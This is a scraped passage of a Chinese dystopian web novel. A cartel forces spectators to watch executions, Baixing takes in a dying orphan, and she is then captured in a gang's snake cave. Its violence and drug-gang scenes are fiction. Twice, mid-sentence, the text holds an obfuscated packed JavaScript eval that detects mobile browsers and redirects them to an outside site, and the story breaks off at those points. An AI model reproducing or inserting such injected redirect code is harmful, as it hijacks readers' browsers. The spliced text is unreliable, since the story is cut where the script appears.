他嗫嚅着：“异、异兽？怎、怎么会在这里……搞、搞什么……它不会冲进观众席吧？” 附近传来小孩哭喊的声音，白星看过去——一个惊恐的人脸上带着害怕的神色，哆哆嗦嗦地在安慰自己哭泣的孩子。 而那个拍门喊着要去上厕所的男子，已经当场吓尿了，□□湿了一大片，但无人在意他的状况。 “什么特别竞技节目？！那东西……在吃人啊？！” “你们搞什么？” “疯了吗？” “这是非法拘禁！” “放我们出去！” 人们从座位上站起来，拥挤着、推搡着来到各个出口，拍门、撞门、恳求……大门却纹丝不动。 广播响起，“竞技节目期间，任何人不得离场。这就是此时此地，卡特尔集团指定的规则。” “现在，请大家坐好，竞技节目还没有结束！” 根本没有人听广播的话，人群惊恐又愤怒，如同无头苍蝇一样慌神。 广播的声音变得戏谑，“违背卡特尔集团，是有代价的。” 这时候，竞技场外围的高墙上，露出了一群身穿红色制服的蒙面枪手，手里的步枪对准了人群。 这引起了尖叫！ 也有人大叫，“我们什么都没做，大庭广众之下，你们要杀人吗？” 一梭子子弹立刻打在此人附近的地面上，吓得此人跳了起来！ 子弹的威力引起了轩然大波。这里面都是普通民众，一辈子甚至没有摸过枪。 广播的声音带着蛊惑性，“请大家有序就坐，只要你们遵守我们设立的规则，就无需担心遭遇危险或不测。” 脸色苍白的人们你看看我，我看看你，最后带着惶惑、一步一颤地坐回座位上。 这样以来，他们就不得不面对着竞技场内的场景，被迫听着张湖英的血肉被撕开的声音。 有的人选择低头不看，有人啜泣着，也有一些的猎奇的人，脸上带着厌恶的神色，但是眼睛却直直地盯着竞技场。 白星和燕飞逸在人群骚动的时候一直没有移动，燕飞逸吓得腿软了，身体像面条一样根本站不起来。白星认为帮派铁了心要杀鸡儆猴，不会开门，即使跟着人流去门口也作用不大，因此不如静观其变。 广播继续讲解着：“张湖英偷窃卡特尔集团所有物，现在已经受到了相应的惩罚。我想，在座的各位，不会重蹈她的覆辙吧？” 白星了然，卡特尔集团，是想要震慑所有人，保持威慑力，让所有人都知道，跟卡特尔集团对着干，是没有好下场的。 旁边有人低声议论，“且不说张湖英盗窃是真是假，就算是真的，卡特尔集团这样动用私刑，还强迫大家观刑，难道就没人管吗？” “你又不是不知道政府势弱，卡特尔集团一家独大，而且卡特尔集团的前身本来就是黑丨帮，做出这种事不稀奇。处刑个把小偷算什么，放到以前，可是会把反对者钉在十字架上，让他们被酸雨腐蚀而死。” 也有人窃窃私语，“我认识张湖英，她人不错，现在竟然落得这般下场……” “她为人谨小慎微，怎么会做出偷窃这种事？会不会存在什么误会？” 接下来，又有接连几个囚犯被带上场，全都是得罪了卡特尔集团的平民，有的是欠了集团的高利贷，还不起，有的是集团内部员工，却把集团情报卖给政府机构，有的是死都不肯交保护费的小商贩，被绑过来就后悔了，但是已经晚了，还有一个是在喝醉了之后打伤了几个集团员工。 [毒刺豪猪]得以大朵快颐，吃的不亦乐乎。今天真是它的幸运日。 白星的脸色不好看。 她早就知道卡特尔集团不是什么好东西，但是今天，卡特尔集团再次突破了人类的下限——举办如此残忍的活动，还欺骗和强迫民众观看，这其中不乏儿童和青少年，不知道他们回去要做多少噩梦。 燕飞逸在一边已经吐了，呕吐物的气味让这里变得难闻。 白星：“燕哥，所以……你是为什么加入卡特尔集团的？” 她有点好奇这个问题。燕飞逸不是残暴之人，对于今天的竞技场节目也深受其害，性格胆小，很难想象他是卡特尔集团收尾组的副组长。 燕飞逸：“……非要在这时候谈这个吗?好吧，我只是混日子罢了。为了糊口。” 等到太阳到了正南，这场闹剧终于结束，竞技场的各个出口都被打开，人们一哄而散，谁也不想留在这个可怕的地方。 燕飞逸勉强站起来，就这样一副虚弱的状态，他也没忘了拿上剩下的那瓶酒。 白星：“你还能喝的下去？” 燕飞逸干笑两声，“死人常有，而好酒不常有。” 两人随着人流离开。 “回见。” “回见。” 和燕飞逸告别后，白星骑着多轮摩托，来到了裁缝店，挑了一些面料柔软、吸汗又耐磨的布料，紧接着又去二手店淘了一双与自己平时穿着风格大相径庭、但在垃圾区很常见的复古马丁靴。 她心中隐隐有个计划成型。 按照燕飞逸所说，政府雇佣天眷者猎杀异兽，而且不会限制天眷者的来历。 那她就假扮成流浪天眷者，换一重身份，成为异兽猎人。她的能力是【傀儡控制】，那么杀的异兽越多，她的傀儡就越多，她就会越强。以战养战，越战越强，说得就是她的能力！ 值得一提的是，结账的时候，她瞧见二手店聚集着几个人，正在聊竞技场发生的事情。 垃圾区有收音机，有手机，有网络，信息传播地很快。 二手店老板唏嘘感叹：“要不是张湖英手脚干净、做事本分，我也不会雇佣她，她都在我的店里干了二十年了，她是什么人我能不知道吗？结果居然出了这种事情，真是很难令我相信，现在我还得重新雇一个店员……” 旁边有人附和着：“认识她那么多年，我也觉得她完全不是那种人嘛，她那么老实，是不是卡特尔集团搞错了……” 二手店老板：“哎哟哎哟，可不敢说。” 结完账，白星骑摩托回医馆，却在医馆门口看见了一个大包裹，警惕地走近，才发现，这不是大包裹，而是一个被毯子和布料所包裹的小孩。 小孩不是清醒状态，白星摇了摇她，小孩没醒，她摸了一下，还有脉搏，于是赶快抱着小孩进医馆。 “老林！老林！有个生病的小孩在门口！” 林医生正半躺着午睡，听见声音连忙从破旧沙发上坐起来，去看小孩的状况。 小孩的身体上散布着黑色的斑点。像是放大了百倍的雀斑。 检查了小孩的眼睛、舌头、皮肤之后，林医生叹了一口气，“是黑斑病。” 两人同时沉默了，她们都知道这意味这什么——那个孩子将不久于人世。 不知何时起，垃圾区产生了一种被称为“黑斑病”的疾病，人们至今不知道其病因。得了这种病的人，身体上会出现黑斑，然后长着黑斑的地方会慢慢腐坏、溃烂，最后死于并发症。从长出黑斑到死亡，短的可能也就几天，长的可能达到一个月。 这种病无解。 白星认为，可能是她的家人遇到这情况，于是决定把她遗弃到医馆门口。 林医生轻叹一口气，“还年纪这么小，就要受这种磨难。” 白星忍不住问道：“黑斑病，真的无法痊愈吗？” 林医生：“我搜集过关于黑斑病的信息，在这里，是没有解药的。但是有一个地方有解药。” “哪里？” 林医生摇摇头，“那个地方我们谁也去不了。” 白星立刻意识到了林医生说的是哪个地方，“天空城。你是说天空城有治疗方法。” 林医生点点头。 白星：“不是时常有人把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853615|174209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天空城的产品走私到垃圾区吗？如果我们能找到路子，也许……” 林医生：“没用的。我已经找遍所有的方法了。” 一丝怪异的感觉划过白星的脑海，“等等，你为什么会找遍所有的方法？” 联想到之前林医生对她倾囊相授的教学，白星心中有了不妙的想法。 林医生垂下眼睛，再抬起眼睛的时候，眼神光变得温和了，“看起来瞒不过你了。其实，再瞒下去也没有意义了。” 她挽起袖子，露出了身上黑色的斑点。 是黑斑病。 白星不敢相信地盯着那块黑斑，“老林……你……” “别难过，我们行医的人，见多了生老病死，知道自己总会有这一遭。我年纪大了，也活够了，本该坦然面对自己的死亡。但是有件事，我还是放不下。” 白星声音微微颤抖，“你说。” 林医生：“我放心不下你，白星。” “你这孩子自己一直很有主意，但这世道这么险恶……你要当心啊……” “……好。”白星握住她的手。 两人的手交叠在一起，触感温暖而柔软。 林医生：“我给你买了一张票。” 白星：“票？” 林医生：“一张偷渡去林区的票，今晚8点从废弃港口出发。” 垃圾区分为不同的区域，白星她们所在的地方是矿区，以矿业开采为主，是垃圾区里最贫困的区域，隔壁的林区经济状况稍好，但是大区之间有严格的封锁，人口难以流动。 林医生继续说道：“我从收音机和手机里听说了竞技场的事情，来这里的病人们也都在议论。卡特尔集团，或者说卡特尔黑丨帮，他们凶残成性、滥杀人命，而且几乎没有人能制约他们。如果他们发现……” “我这里有一笔钱，是这些年来的积蓄，你带上，去林区重启人生吧。” “现在离开，还来得及。” “你今晚就离开，就这一次，听我的，好吗？” 白星不是没有感受到林医生的情真意切，但是，她不可能答应这件事——卡特尔集团的覆灭，就是她的人生目标。 更何况，老林的时间不剩多少了，她怎么能在老林人生最后的时刻抛下她，独自离去？ 但是望着林医生真挚的双眼，白星很难将直接拒绝的话语说出口。 “至少，让我陪伴你走过这段时光吧。”白星说。 林医生还打算说什么，忽然听到了小孩咳嗦的声音。 原来是黑斑病小孩睁开了眼睛。 “你醒了？”林医生问：“孩子，你的家人在哪？” 小孩听到这话，嘴一扁，眼泪咕噜咕噜流了出来：“妈妈！妈妈！我要妈妈！” “如果你告诉我你妈妈是谁，在哪，我就带你去见她，怎么样？” “真的吗？” “真的。” 小孩哽咽着说：“我妈妈去给我拿药了。她让我在这里等着，等她拿药会来，等我吃了药，病就会变好，我讨厌身上的黑点，它们好痒。” 林医生和白星交换了一个眼神。 这病治不好，这多半只是大人遗弃小孩的借口。 白星弯腰，视线与小孩齐平，“你妈妈叫什么名字？” 小孩擦了擦眼泪，“我妈妈姓张，叫张湖英。” 张湖英，不就是那个被公开处决的女人吗？ 所以她被抓之前，偷偷把孩子放在了医馆门口？ 但是之前在二手店听到的信息重新进入了她的脑海。二手店老板雇佣了张湖英20年，认为她非常本分。 而这样一个老老实实的人，忽然像转了性、发了狂一样去偷卡特尔集团的东西，害得自己落得凄惨的下场。 而她有一个得了黑斑病的小孩。她在临走前对小孩说自己是去“拿药”。 那么有没有可能，卡特尔集团持有治疗黑斑病的特效药？ 所以张湖英才去盗窃。 越想越觉得合理，卡特尔集团作为矿区最强大的势力，有一两支产自天空城的特效药，也不是没有可能。 白星的目光扫过林医生，如果她的猜测是真的，那老林岂不是有机会活下来了？ 15.第 15 章 老旧的缝纫机前，白星正一下一下踩着脚踏，竖立的缝针咔哒咔哒在布料上形成细密的阵脚，一件裤子就此成型。 而旁边还摆着刚做出来的一件长袖上衣。 白星穿上这套衣服，大小正合适。 颜色是矿工们常穿的暗蓝色，穿上这种颜色，总能无形地融入广泛的矿工群体当中。 白星要的不是好看，而是不起眼，隐蔽，最好存在感为0。 她戴上一个能包住大半张脸的大口罩，又戴上帽檐有些下垂的普通帽子，拉下帽檐的时候，能遮住眼睛。 再穿上那双刚买的二手靴子，白星完全像换了一个人一样。 平时都是有什么穿什么，在这炎热夏季，林医生用陈旧白大褂给她做了两身衣服，宽松的发黄的白T配同样宽松的发黄的白短裤，有点像是一个人套了个麻袋。 但是现在，她这一身打扮，立刻给自己加了20岁，还带着一种挖矿人的微微命苦感。 不错的伪装常服！ 从张湖英的小孩嘴里哄出了她们的家庭住址，白星把卡特尔集团的定位器放家里，然后穿着新伪装服前往张湖英家。 那是一个破落的地下小区，穿过没锁的地穴大门，沿着颤颤巍巍的生锈铁梯往地下走，便可以到达一层一层的平台，一个一个小房间如同黄蜂的巢一样排布着。 张湖英除了孩子之外没有其他亲人。白星来的太晚，张湖英的房间几乎已经空空如也。 一个面黄肌瘦的人正在拆卸着屋子里唯一剩下的朽烂的木板床，嘴里嘟囔着，“上好的燃料……” 白星：“你是张湖英什么人？” 那人警惕地抬头，答非所问，“这木板是我先发现的，先到先得。” 白星能想象当附近的人们听说张湖英死了之后，像蝗虫过境一样来偷她东西的样子。廉价营养液、衣服布料和简陋的生活用品是最先被拿走的。灯泡也被拆了，电线都被割走，最后才轮到这几乎朽烂的床板。 地下房间逼仄狭窄，伸手就能摸到潮湿滴水的天花板，除了一张床，也没有多少空余的地方了。 那人拆了床，搬开木板，掉出了一个本子。那人借着自己离得近的优势，抢在白星之前迅速捡起来，打开，发现里面有很多手写的字，于是卷起来塞进蛇皮袋里，这东西当燃料烧不了多久，但是聊胜于无。 白星：“这个给我，我拿钱换。” 那人面露贪婪，“我要5块，不……10块！” 白星从口袋（事实上是从【多余的胃袋】里）掏出10块，感谢何威的倾情赞助。 那人立刻露出了后悔的神色，显然是觉得自己要少了。 白星带着本子离开。这个地方已经没有其他可以调查的线索了。 医馆里，张湖英的小孩正睡着，老林戴上老花镜，被白星抓来研究这本子。 “……后历100年5月11日，今天，小宝出生了。这是我最幸福的一天。有了她，就像在黑暗的世界里抓住了一丝光。我抱着小宝，感受着她轻轻的心跳，向神主发誓我一定会陪伴她，保护她，直到生命的尽头……” “……后历101年5月20日，小宝已经会走路了，也会叫妈妈了，她的笑声像百灵鸟一样清脆……” 在接下来的这页里夹着一张碎纸，上面有红蓝铅笔的涂鸦，但是色彩单调、画工粗糙、笔触简陋，仅能猜测出这是一大一小拉着手微笑的两个人。 “……后历103年11月30日，小宝送了生日礼物给我，那是一副画，内容是小宝和我拉着手，我们脸上都有大大的笑容，它好触动人心，看到它的时候，我几乎落泪了……” “……后历105年5月10日，小宝快五岁了，我借钱将她送进教会的学校，我向神主发誓我要给她最好的未来……” “……5月11日，晴天霹雳！我在小宝身上发现了黑斑，怎么会这样？我的光，我的小太阳，她的笑容那么无辜……” 这行字迹有些变形，能想象出书写人的惶惑无措，纸上隐约还有被泪水打湿的痕迹。 “……5月12日，我拜访了几乎所有的医生，而每个人都对我摇头……” “……5月13日，我跪在地上恳求一位治疗系天眷者，她看向我的眼神中只有同情和怜悯，我明白了，她也束手无策……” “……5月14日，我宁愿被神主带走的是我自己……” “……5月15日，走投无路的我下定决心来到老鼠沟……感谢神主，他给我指明了方向，有一种药，一种万能的药，几乎能够治疗一切的药，只要能够拿到那种药……” 白星为张湖英而默然，这个女人在自己的女儿身上倾注了如此多的感情，甚至为了女儿铤而走险，赔上了性命。 但是她没空替人伤感，林医生的病等不得，她必须打起精神来寻找药的线索。 而日记本的后面就完全是空白的，白星不死心地检查着日记本，从最后一页找到了一张卡在封皮里的纸。 那是一张有点简陋的铅笔绘画，内容是一支类似注射器一样的东西，旁边写着一个字： “药。” 白星翻来覆去地看，没看出什么花样。 白星问林医生：“你能看出注射器里面的药是什么吗？” 林医生摇摇头，“你可真逗，这简笔画里能看出啥？” 白星：“……” 她把画收进口袋里（其实是放进了【多余的胃袋】里）。 林医生狐疑地看着她，“你不会要去老鼠沟吧？” 白星挠挠头，“哈哈，怎么会呢？你一直教育我不要靠近那种危险的地方，我怎么会以身犯险呢？” 等林医生去储藏间鼓捣草药，白星立刻拿出通信设备给燕飞逸拨了过去，“老燕，老鼠沟怎么走？请把老鼠沟的一切都告诉我。” …… 这里是老鼠沟——一座山由于地质运动裂成了数块，形成了纵横交错的沟壑和狭窄的山谷。而这些沟壑和山谷里生存着一批人。他们就是老鼠沟的居民。 白星即将踏入这个被称为地狱的世界。 老鼠沟外围并没有守卫，就像他们知道，他们不需要保护自己，需要保护自己的只有进来的人。 裂开口的山体如同一个敞开口的陷阱，请君入瓮。 白星想起小时候听过的儿歌，“老鼠沟里无光明，死活全凭命运定。宁愿荒野流浪去，也不踏进那地狱。” 她迈出脚步，踏入这光明无法照射到的地方。 里面是字面意义上的阴影区，阳光无法照射到，白星立刻感觉到阴冷的气息。 越走越深。 她看到山体岩壁的高处有一个人工开凿的洞口，洞口下面沿着岩壁刻出了一个个小凹槽作为下脚的台阶，这洞窟可能是老鼠沟人的住所之一。 大概是听到她的脚步声，柴火棒一样干瘦的人从山洞里冒出头来，她一往那边看，那人就缩回头去。 往前走，又看见更多的洞窟，皮包骨头、面黄肌瘦、包裹着残破布条的人们从洞窟里俯视着她，露出冷漠和警惕的眼神。 有人跟在了她后面，她一止住脚步，那人也跟着停下，当她扭头看到他，那人便咧嘴露出了一口大黄牙。 白星对这明目张胆的跟踪并没有什么反应。一次杀死一只老鼠太慢，等老鼠们聚集起来一次性灭杀更方便。 枯草亲眼看见了那个外乡人踏进老鼠沟。 确实，一些外乡人会为了购买低价的赃物，或是为了不可告人的目的，来到老鼠沟，这个犯罪的窝点。 当然，并不是每个人都能得偿所愿。他们当中的一些人，无声无息地消失在了这里。还有一部分人，连滚带爬地逃出去，并决定余生都不再靠近。 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他跟着那外乡人径直走，穿过山口，面前豁然开朗。 面前一个被群山包围的小盆地，群山上是密密麻麻的如同虫巢一样的洞窟，盆地中间是一个个搭起的临时遮阳棚，遮阳棚底下是一个个小摊位，摊位分布杂乱无章。 这里吵吵嚷嚷，非常热闹。最近的摊位在贩售手指长的半死不活的灰鱼，有赤着脚的孩童抢了就跑，被卖家抓住狠揍。 角落里瘫坐着呻吟的药瘾发作的成瘾者。 外乡人一出现，附近所有人的目光就集中到了她身上。 外乡人戴着大口罩、帽檐压低的打扮，在这里竟然一点都不突兀，起码有一半人是蒙脸的。 而枯草发现，外乡人直接走到人流最多的地方，然后做出了一个令人瞠目结舌的举动。 外乡人，在给大家发钱。 “拿好了，每个人十块钱，一个人只能拿一张，我在找一种能万能的药，如果你能帮我找到，或者提供可查证的线索，或者带来知道相关信息的人，我会给你一万块。” 第一个拿到钱的人满脸的不可思议，天上真的会掉馅饼？他果断后撤两三步，生怕外乡人再抢回去。 随即，数只贪婪的手涌过来，去抢那分发的钞票。 人群如潮水一般向这里涌来。拿到钱的人不肯离去，没拿到钱的人疯狂往前挤。而外乡人就像是有完美的记忆力，不会给同一个人发第二次钱。 无数人接到亲朋好友的通知，说这里有个冤大头在撒币。 也有人目光中闪着贪婪，“我知道那种药，跟我走！我带你去！” 立刻有其他人抢话头，“别听那人的，那人什么都不知道，我知道卖药的人在哪，跟我走！” 几个人为争抢外乡人向导的位置，分外眼红，几乎要打起来了。 枯草在外围被那分发的钞票刺激得脸红心跳，好大的肥羊！ 再不出手就没机会了，再过片刻，所有人都会知道这里有肥羊！ 必须先下手为强！ 他对着无线电那头的同伴说：“动手！” 枯草和他的两个同伴如同尖刀一样插入人群！ 他是老鼠沟极为稀少的天眷者之一，他的能力在中等距离的攻击中所向披靡。 他手心的空气凝结成一道锋利的刃，然后他用力将空气刃丢向外乡人的脖颈。 空气刃打中了！ 但是下一秒，他的视线发生了三百六十度的旋转，怎么回事？ 啊，原来是自己的头颅飞出去了啊！ 他临死前的最后一个想法—— 空气刃打中的不是外乡人，而是外乡人前面的看不见的东西。 外乡人毫发无损。 16.第 16 章 枯草的空气刃当然没有击中白星。 它击中的是被幻象隐藏的傀儡狱卒。在白星的命令下，傀儡狱卒铁塔般的身躯护卫在她左右，时刻提防着可能的攻击。 而幻象又隐藏了他的身影。 空气刃确实有着还算不俗的攻击力，速度快，锋利无比，傀儡狱卒虽然挡住了这一击，自身却被打碎了。 而且此人的攻击方式也相对隐蔽，要不是白星一直留意着他的举动，恐怕也有被偷袭伤到的可能。 白星没有让其他傀儡攻击，而是迅速拔出射线枪（感谢何威的“馈赠”）结术了攻击者的性命。 【获得E级傀儡：[枯草]，该傀儡具有天术：[空气刃]。】 枯草这名字和他的天术并不匹配，白星决定在心里给他改名，嗯，不如叫[空气使者]，没想到脑海里的声音对此产生了反应。 【更名成功！傀儡[枯草]已经更名为傀儡[空气使者]。】 原来还可以正式给傀儡更名。 枯草的两个同伴举着武器，已经越过人群冲到了白星面前。 可是下一秒，他们就看到枯草掉落的头颅在地上翻滚，他们脸上顿时出现了恐惧和难以置信的表情。 枯草是他们当中唯一的一个天眷者，如果枯草都无法应对这个外乡人，那么他们两个的胜算……但是现在箭在弦上，不得不发！ 他们手中的两把改造过的低频枪同时对准了那个外乡人！ 可是扳机还未被扣动，两个袭击者的胸口就各自被射线洞穿！ 白星吹了吹过烫的射线枪枪丨口，不枉她在拿到这把枪之后抽时间在垃圾堆里练习速射！ 两人的身躯重重落在地上。 那些来拿钱的人们纷纷卧倒、跑开、或找掩体躲避……看起来他们对于怎样避开纷争这事熟练极了，远超普通平民的水平，更像是在战争前线摸爬滚打的士兵。由此也可以侧面看出老鼠沟时常发生流血的冲突。 冲突结束的如此之快，那些人一个个从掩体后面冒出头来。 枯草死掉并不能十分吸引他们的注意力，他们关注的是另一个问题—— “老板，还发钱吗？” 白星淡淡道：“当然发，告诉我万能的药的信息，我会给你更多！但是谁要是敢骗我，下场就和这三个人一样。” 人们从掩体里爬出来，继续领钱，然而现在没有人提出要当白星的向导了。 敢情刚才那些声称知道内幕的人全是骗子。现在畏惧于白星的战斗力，不敢再出声。 不过这并没有出乎白星的意料。 毕竟，这里是老鼠沟。 枯草是这里极为罕见的天眷者，人们目睹了他的同伴的死亡，暂时不敢对白星有什么企图。 但是背地里却暗流涌动。 那贪婪的眼神、观察打量的目光、窃窃私语的样子都表明他们可能在谋划着什么。 白星不怕。 来一个她打一个，来两个她打一双，大家都上，那她就放出傀儡大军，万一有什么问题，那开幻象跑路。 白星捡起了掉落的两把改造枪，这两只枪比较简陋，比她的射线枪差些，但是好歹是战利品，不可能不搜刮。 秉承收尸人的优良传统，她也搜刮了这些人的口袋，并没有发现什么值得注意的东西。 那些领完钱的人，看白星不在意，慢慢拖走了枯草三人的尸体。在老鼠沟，尸体也是一种资源。白星并不想知道他们打算对这些尸体做什么。 发钱的活动还在继续，更多的人为了钱财向这里聚集。贫民几乎倾巢而出。 而在不远处，一个隐藏在岩壁高处洞穴里的人密切观察着这一切。 此人的脸上包裹着绷带和布条，透过绷带和布条的缝隙，隐约能看到一道道伤疤在他的脸上盘踞着。 他打开无线电设备，站直身体，尊敬地向无线电那头的人问好。 “是的，王爷，是我，疤脸，集市上出现了一个外乡女人……” 疤脸一丝不落地阐述了事情的经过，不知道那头问了什么，他继续恭敬地回答着： “……对，她带了大量的现金，大张旗鼓地来寻找‘万能的药’的线索……” “……没错，枯草死在她手里，死于一把未经改造的射线枪……” “……我明白了……” 疤脸等那边彻底挂断之后才收起无线电设备，将高频射枪塞进腰带，离开洞窟，向那个外乡女人走去。 而当他走入人群的时候，人们一看见他，立刻自发地让路，给他腾出一条康庄大道。 白星立刻注意到了这个不同寻常的人，高大壮实，体格颇具威慑力。而旁人似乎对他很畏惧。 白星发钱并不是想做慈善，而是想在最短的时间内传播信息、引发混乱、进而引起某些人的注意。 这个人会是她想要吸引的人吗？ 白星：“我猜你不是来领钱的。” 因为10块钱吸引不了他这样的人。 疤脸开门见山道：“有人想要见你。” 白星：“那他为什么不过来？” “蛇王爷身份贵重，不便过来。” 白星扬起眉毛，蛇王爷？这个名字真是古里古怪，又带着些江湖气息，像是有点邪门本事和一定地位的人才会有的诨号。 她审视着疤脸，“我是来找万能药的，不是来约会的。” 疤脸板着脸说，“你说的万能药，我有些头绪。” “还有，”他轻慢地笑了一声，“你对自己的容貌太有信心了，有点姿色不代表一切。” 他的表情仿佛在说“约会？蛇王爷怎么会看上你这种外乡人。” 白星抱着双臂，“刚才有不下10个人说有万能药的线索，但是他们现在都不敢作声了。我怎么知道你不是像这些人一样想把我骗到陷阱里杀了？” 疤脸没有轻易回答，而是先用目光扫了一圈周围领钱的贫民，那些人被目光扫到，就好像是触电了一样迅速后退，给白星和疤脸流出了足够的空间。 疤脸这才走近，“张湖英是你什么人？” 白星思忖，此人竟然提到了张湖英，他果然知道些什么。 心里这样想着，表面上却没有做出任何反应来，只是淡淡反问：“那是谁？” 疤脸的表情上并不能看出是否买账，他凑地更近了—— 白星的汗毛因此立了起来，傀儡们蓄势待发—— 疤脸低声在白星身旁耳语：“你看到了那张图纸，不是吗？那张……像注射器的画……那张画是我画的，想知道更多信息，就跟我来。” 他向僻静处走去，边走边回过头来，似乎是在确认白星有没有跟上。 白星没有犹豫，把手里的现金塞进布兜子，往疤脸的方向走去。也许前面是陷阱。但是疤脸已经表明了，他很可能是万能药的知情人之一。 白星灵魂三问： “那药的名字是什么？” “真的是万能的吗？” “哪里可以找到？” 意料之中的，疤脸用沉默回答。 白星跟着他七拐八拐，进了一个黑暗的洞窟。 她的眼睛很快适应了光线，发现洞窟不大，里有两个人正抱臂站着，各个持枪，而她的面前有一口漆黑的棺材。 白星：“怎么？想杀我？连棺材都给我准备好了？” 疤脸：“那是给你用的棺材，却不是给死去的你用的棺材。” 白星：“……” 不会是她想的那样吧？ 疤脸随后解释道：“蛇王爷通常不见外人，他的基地位置也需要保密，如果你想见他，先得钻进这口棺材，再由我们的人抬到蛇王爷面前。” 白星：“……” 还真是她想的那样。 不过蛇王爷到底是什么人？他手下的疤脸在贫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大概是感觉控制住了白星，疤脸摊牌了，“不过这样也好，省得我们强迫你进棺材——蛇王爷想见你，还容不得你拒绝。” 白星：呵呵，早就知道你们都不是什么好人。 白星感觉到自己被抬起，微微摇晃着被搬运，上坡、下坡、平路、拐弯……一路上听到各种路人的声音，直到那些声音也远去了。 棺材里十分闷热，气流不流通，白星渐渐地感到了轻微的不适。 终于，棺材被放了下来，随即盖子被推开一条缝，窄窄的一道光线撒进棺材里。 而透过这条缝，白星看到了一双金黄色，竖着的非人瞳孔。而眼睛周围是细密的青色鳞片。 是蛇！这蛇在她的棺材缝里探头探脑，吐出红蛇信试探感应着。 白星推开棺材盖，盖子和木料摩擦，发出令人牙酸的声音。 然后她发现，这是一个天然的溶洞，石笋和石柱林立，因为废土的辐射而发出幽幽的光。 而在这微光之中，无数冰冷的非人眼睛正盯着她。 那是无数条蛇。大的、小的、金色痛苦的、瞳色瞳孔的、带花纹的、通体一个色的……数不清地蛇窸窸窣窣地爬过地面、棺材、石柱…… 这里只有蛇和她。 她和蛇共享着这不算大的密闭空间。 而在这万蛇窟隔壁，疤脸和搬棺材的几个人正在交谈。 “小姑娘肯定吓死了。” “一会儿她就什么都交代了。” “是啊，王爷的万蛇窟可是这里最强的刑讯手段，就算是铁血硬汉也无法抵抗对毒蛇的恐惧。这是人的本能。” 而万蛇窟里面，白星看着一条条鲜活、肥美的毒蛇，口水开始疯狂分泌。 蛇肉这东西真的很好吃，小时候吃过一次，她就再也忘不了了。 17.第 17 章 天然溶洞的通道里，人工接驳的灯泡一闪一闪地发光。 疤脸沿着通道走到尽头，尽头有一扇厚重、复杂的金属双开门。金属门带着高科技的质感，和自然的溶洞融为一体。 疤脸在门口接受虹膜认证，认证完毕后金属门向两侧打开。金属门在合并前，有着半秒钟轻微的迟滞，但是疤脸并没有注意到。 里面是一个非常开阔的空间，苍白的吊顶灯映亮一切，岩石地板被打磨得光滑发亮，四周的岩石也被开凿成平滑的墙壁，只留了部分钟乳石和石柱作为装饰。 一些五颜六色的蛇在那些石柱上盘踞着。 疤脸进去之后微微躬身，“王爷，是我。” 回应他的是一道冰冷而曼妙的女声，“你来了。” 说话那人正从一个盘子里挑出一条泥鳅，喂玻璃水缸里的小蛇。 不是他，而是她。 她是一个看上去外表普普通通的女人，容貌、身高、打扮，都无限接近于老鼠沟的普通人，既不年轻也不年老。 唯一给人深刻印象的，是她脸上浓重的褐色雀斑。 难以想象这样的人却是老鼠沟的幕后黑手——蛇王爷。 但是又很容易想通——故意让自己的诨号听起来更像男性，进而掩盖自己的真实信息，也是可能的。毕竟，蛇王爷就是这样谨慎小心的幕后黑手。 疤脸以为蛇王爷会立刻问起囚犯的事情，但是蛇王爷却先询问了其他工作内容。 “新招募的员工们还好吗？” 疤脸立刻答道：“好得不得了，已经给他们分享了几次带料的香烟，他们渐渐表现出了成瘾的症状。很快，他们会为了满足自己的欲望而死心踏地地为您卖命。” 蛇王爷玩味一笑，“你会不会觉得这样对待自己人有些绝情？” 疤脸：“怎么会呢？这些人，都是底层的渣滓，没有目标，没有方向，整天浑浑噩噩，而您，给了他们一个值得奋斗的目标。您让他们成为了这伟大事业的一环。这是您赐予的仁慈和福祉。” “更何况，这些人没有经过考验，没有坚定的信念，也不明白王爷您的伟大，怎么能称之为‘自己人’呢？等他们切切实实为我血蛇帮立下汗马功劳之后，再说他们是自己人，也不迟。” 蛇王爷没有停下喂蛇的动作，“所有人里，你最懂我。” 疤脸绷带下的面颊上，红晕浮现。 蛇王爷：“新产品的极限，测试出来了吗？” 疤脸：“多亏了那些无家可归的流浪者、我们仇敌的亲属和几个可恨的叛徒，博士已经将新产品的致幻效果、致死时间、抗药性反应等等数据详细记录下来，下一步就是更广泛的人体实验。” “你们做得不错。” 疤脸绷带下的两颊微微发红，“只是在做自己的分内之事罢了。” 蛇王爷继续问道：“我们的囚犯情况如何？” 疤脸恭敬地回答：“她一直保持着一动不动的状态，怕是魂都吓飞了。” 他放下身后背着的机械设备，鼓捣了两下，一道投影映在墙上。 投影的内容正是万蛇窟里的实时画面。 可以看到，被蛇包围的小姑娘坐在棺材板上，紧紧抱着双臂，瑟缩着，像是想要缩小自己的存在感。 蛇王爷着迷地看着小姑娘被蛇包围的样子，挑剔地评判道：“有点瘦，但是好在年轻。年轻的身体总是新鲜多汁，能提供最好的营养。一会儿结束之后，按照惯例来。” 疤脸：“是。结束之后，我会把这个外乡人剁碎了当作饲料。亲自喂给王爷的宝贝们。” 蛇王爷扬起下巴，示意疤脸，“审讯可以开始了。” 疤脸：“明白。” 他将一个收声器放在嘴边，收声器连接着万蛇窟里的声音播放装置，他说的话会被完整地播放给囚犯听。除此之外还有变声功能。 “如你所见，你的身边有超过一千条毒蛇。” “一个人被一千条蛇分而食之的场景是什么样子？你想过这种刑罚可能会出现在你自己身上吗？” 疤脸知道，他的声音经过变声扭曲之后，在小姑娘耳中，必定是古怪、刺耳而可怕的，势必带来压迫性的恐惧。 